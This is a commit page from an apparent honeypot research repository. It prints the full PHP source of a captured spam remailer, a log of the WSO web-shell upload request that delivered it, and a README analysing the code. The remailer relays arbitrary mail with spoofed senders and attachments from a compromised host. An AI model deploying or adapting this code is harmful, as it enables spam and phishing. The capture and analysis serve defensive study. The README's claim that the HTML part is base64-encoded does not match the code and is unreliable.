Skip to content

Commit 473aa25

Browse files
committed
sandsmark98.php small remailer
1 parent 988658b commit 473aa25

File tree

4 files changed

+252
-0
lines changed

4 files changed

+252
-0
lines changed

README.md

+4
Original file line numberDiff line numberDiff line change
@@ -375,6 +375,10 @@ in various email black lists.
375375

376376
Simple, reasonably carefully coded remailer.
377377

378+
## [Simple Remailer](remailers/5.8.54.6-2019-10-08a)
379+
380+
Another small, carefully coded remailer.
381+
378382
## [htaccess.php - web shell](webshells/WSO-htaccess.php)
379383

380384
WSO "Web Shell by oRb", downloaded by a previously-installed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,103 @@
1+
<?php
2+
/**
3+
*/
4+
function EmailText($from, $to, $subj, $text, $replyto, $fname, $headers, $file, $filename)
5+
{
6+
$uniq = strtoupper(uniqid(time()));
7+
$subj = '=?UTF-8?B?'.base64_encode($subj).'?=';
8+
9+
$head = "From: =?utf-8?B?".base64_encode(trim($fname))."?= <".trim($from).">\n";
10+
$head .= "Subject: ".$subj."\n";
11+
$head .= "Reply-To: ".$replyto."\n";
12+
$head .= "Return-Path: ".$replyto."\n";
13+
14+
//$head .= "X-Mailer: PHP/" . phpversion()."\n";
15+
16+
foreach ($headers as $header)
17+
{
18+
$head .= $header."\n";
19+
}
20+
$head .= "Mime-Version: 1.0\n";
21+
$head .= "Content-Type:multipart/mixed;";
22+
$head .= "boundary=\"----------".$uniq."\"\n\n";
23+
24+
$body = "------------".$uniq."\nContent-Type: text/plain; charset=utf-8\n";
25+
$body .= "Content-Transfer-Encoding: 8bit\n\n".$text."\n\n";
26+
27+
$file = trim($file);
28+
if (strlen($file) > 0)
29+
{
30+
$body .= "------------".$uniq."\n";
31+
$body .= "Content-Type: application/octet-stream;";
32+
$body .= "name=\"".$filename."\"\n";
33+
$body .= "Content-Transfer-Encoding: base64\n";
34+
$body .= "Content-Disposition: attachment;";
35+
$body .= "filename=\"".$filename."\"\n\n";
36+
$body .= chunk_split(base64_encode($file))."\n";
37+
$body .= "------------".$uniq."\n";
38+
}
39+
return mail("$to", "$subj", $body, $head);
40+
}
41+
42+
/**
43+
*/
44+
function EmailHtml($from, $to, $subj, $text, $replyto, $fname, $headers, $file, $filename)
45+
{
46+
$uniq = strtoupper(uniqid(time()));
47+
$subj = '=?UTF-8?B?'.base64_encode($subj).'?=';
48+
49+
$head = "From: =?utf-8?B?".base64_encode(trim($fname))."?= <".trim($from).">\n";
50+
$head .= "Subject: ".$subj."\n";
51+
$head .= "Reply-To: ".$replyto."\n";
52+
$head .= "Return-Path: ".$replyto."\n";
53+
54+
foreach ($headers as $header)
55+
{
56+
$head .= $header."\n";
57+
}
58+
$head .= "Mime-Version: 1.0\n";
59+
60+
$head .= "Content-Type:multipart/mixed;";
61+
$head .= "boundary=\"----------".$uniq."\"\n\n";
62+
$body = "------------".$uniq."\nContent-Type: text/html; charset=utf-8;\n";
63+
$body .= "Content-Transfer-Encoding: 8bit\n\n".mb_convert_encoding($text, "HTML-ENTITIES", "UTF-8")."\n\n";
64+
65+
$file = trim($file);
66+
if (strlen($file) > 0)
67+
{
68+
$body .= "------------".$uniq."\n";
69+
$body .= "Content-Type: application/octet-stream;";
70+
$body .= "name=\"".$filename."\"\n";
71+
$body .= "Content-Transfer-Encoding: base64\n";
72+
$body .= "Content-Disposition: attachment;";
73+
$body .= "filename=\"".$filename."\"\n\n";
74+
$body .= chunk_split(base64_encode($file))."\n";
75+
$body .= "------------".$uniq."\n";
76+
}
77+
return mail("$to", "$subj", $body, $head);
78+
}
79+
80+
@$filename = trim($_POST['filename']);
81+
@$file = trim($_POST['file']);
82+
@$email = trim($_POST['email']);
83+
@$type = trim($_POST['type']);
84+
@$subj = trim($_POST['subj']);
85+
@$fname = trim($_POST['fname']);
86+
@$replyto = trim($_POST['replyto']);
87+
@$from = trim($_POST['from']);
88+
@$text = trim($_POST['text']);
89+
@$headers = json_decode(trim($_POST['headers']));
90+
91+
if (preg_match("~txt~is", $type))
92+
{
93+
$text = strip_tags($text);
94+
$ok = EmailText($from, $email, $subj, $text, $replyto, $fname, $headers, $file, $filename);
95+
print $ok ? 'OK' : 'FAIL';
96+
}
97+
98+
if (preg_match("~html~is", $type))
99+
{
100+
$ok = EmailHtml($from, $email, $subj, $text, $replyto, $fname, $headers, $file, $filename);
101+
print $ok ? 'OK' : 'FAIL';
102+
}
103+
?>
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
2+
_SERVER
3+
Array
4+
(
5+
[UNIQUE_ID] => XZymjDdQFFS6X-T8Xw5ligAAAAE
6+
[SCRIPT_URL] => /wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/db.php
7+
[SCRIPT_URI] => http://stratigery.com/wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/db.php
8+
[HTTP_HOST] => stratigery.com
9+
[HTTP_USER_AGENT] => Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.1)
10+
[HTTP_ACCEPT] => image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
11+
[CONTENT_TYPE] => multipart/form-data; boundary=Snoopy365c91fd3243c094d9cb006cbee16c80
12+
[CONTENT_LENGTH] => 4748
13+
[PATH] => /usr/local/sbin:/usr/local/bin:/usr/bin
14+
[SERVER_SIGNATURE] =>
15+
[SERVER_SOFTWARE] => Apache/2.4.41 (Unix) PHP/7.3.10
16+
[SERVER_NAME] => stratigery.com
17+
[SERVER_ADDR] => 162.246.45.144
18+
[SERVER_PORT] => 80
19+
[REMOTE_ADDR] => 5.8.54.6
20+
[DOCUMENT_ROOT] => /srv/http/stratigery/htdocs
21+
[REQUEST_SCHEME] => http
22+
[CONTEXT_PREFIX] =>
23+
[CONTEXT_DOCUMENT_ROOT] => /srv/http/stratigery/htdocs
24+
[SERVER_ADMIN] => [email protected]
25+
[SCRIPT_FILENAME] => /srv/http/stratigery/htdocs/fake_wp/wso.php
26+
[REMOTE_PORT] => 58584
27+
[GATEWAY_INTERFACE] => CGI/1.1
28+
[SERVER_PROTOCOL] => HTTP/1.0
29+
[REQUEST_METHOD] => POST
30+
[QUERY_STRING] =>
31+
[REQUEST_URI] => /wordpress//wp-content/plugins/revslider/temp/update_extract/revslider/db.php
32+
[SCRIPT_NAME] => /wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/db.php
33+
[PHP_SELF] => /wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/db.php
34+
[REQUEST_TIME_FLOAT] => 1570547340.062
35+
[REQUEST_TIME] => 1570547340
36+
)
37+
38+
_REQUEST
39+
Array
40+
(
41+
[pass] => nhzgrf
42+
[a] => FilesMan
43+
[c] => /var/www/html/
44+
[p1] => uploadFile
45+
[charset] => Windows-1251
46+
)
47+
48+
_COOKIE
49+
Array
50+
(
51+
)
52+
53+
_FILES
54+
55+
UPLOADED FILE f
56+
Array
57+
(
58+
[name] => sandsmark98.php
59+
[type] => image/jpeg
60+
[tmp_name] => /tmp/phpSaqaP2
61+
[error] => 0
62+
[size] => 4062
63+
)
64+
65+
END UPLOADED FILE f
66+
Uploaded file: /var/tmp/5.8.54.6XZymjDdQFFS6X-T8Xw5ligAAAAE.0.file
67+
68+
END _FILES
69+
$my_blog=http://stratigery.com/wordpress//wp-content/plugins/revslider/temp/update_extract/revslider
70+
pass parameter, acting as WSO
71+
Acting as WSO, login cookie.
72+
a = FilesMan
73+
c = /var/www/html/
74+
p1 = uploadFile
75+
Acting as WSO, receive uploaded file.
76+
Acting as WSO, send /var/www/html/ listing.
+69
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
# Well-coded re-mailer
2+
3+
A strangely well-coded email forwarder.
4+
5+
## Origin
6+
7+
The attackers thought they were downloading a file named "sandsmark98.php"
8+
to an instance of a [WSO web shell](/webshells/wso_in_depth).
9+
The download request came with all the HTTP parameters used
10+
by WSO instances, complete with sterotypical values.
11+
12+
|Parameter name|Parameter value|
13+
|-------------|----------------|
14+
|pass|nhzgrf |
15+
|a|FilesMan|
16+
|c|/var/www/html/|
17+
|p1|uploadFile|
18+
|charset|Windows-1251|
19+
20+
"uploadFile" is a sub-task of the "FilesMan" action in WSO.
21+
The request arrived with a password, "nhzgrf" which is very typical
22+
of WSO installations.
23+
24+
### IP Address 5.8.54.6
25+
26+
inetnum: 5.8.48.0 - 5.8.55.255
27+
netname: PIN-DATACENTER-NET
28+
country: RU
29+
organisation: ORG-PINl1-RIPE
30+
org-name: Petersburg Internet Network ltd.
31+
org-type: LIR
32+
address: Babushkina st. 3, office 215.
33+
address: 192029
34+
address: Saint-Petersburg
35+
address: RUSSIAN FEDERATION
36+
route: 5.8.54.0/24
37+
descr: PIN DC
38+
origin: AS34665
39+
40+
## Obfuscation
41+
42+
The [downloaded file](5.8.54.6XZymjDdQFFS6X-T8Xw5ligAAAAE.0.file)
43+
isn't obfuscated at all.
44+
Oddly, virustotal.com found no anti-viruses that could detect it.
45+
46+
## Analysis
47+
48+
There's 103 lines of craftsmanlike code in this remailer.
49+
The indentation is consistently 4-ASCII-spaces,
50+
some "blank" lines consist of blocks of 4 ASCII spaces.
51+
This suggests a careful cut-n-paste of the code.
52+
Variables are lowercase, names are relevant to the variables' function.
53+
Two comments do appear, but one is an empty block,
54+
and the other is a line of code that's apparently no longer wanted.
55+
56+
There are 2 functions, `EmailText` and `EmailHtml` which do duplicate
57+
a lot of code, each of them setting up elaborate SMTP headers in much the same
58+
fashion.
59+
It includes "Content-type" and content encoding headers,
60+
and the `EmailHtml` function base64-encodes the HTML part of the email.
61+
Ultimately, the remailer invokes the PHP `mail` builtin to do SMTP
62+
with whatever SMTP server the compromised host has set up.
63+
64+
The remailer works when invoked by an HTTP POST request,
65+
and works with plainly-named HTTP parameters.
66+
The value of the POST parameter named "headers" gets passed through
67+
the PHP builtin `json_decode`.
68+
`json_decode` became a builtin with PHP 5.2.0,
69+
so this code isn't very backward compatible.

0 commit comments

Comments
 (0)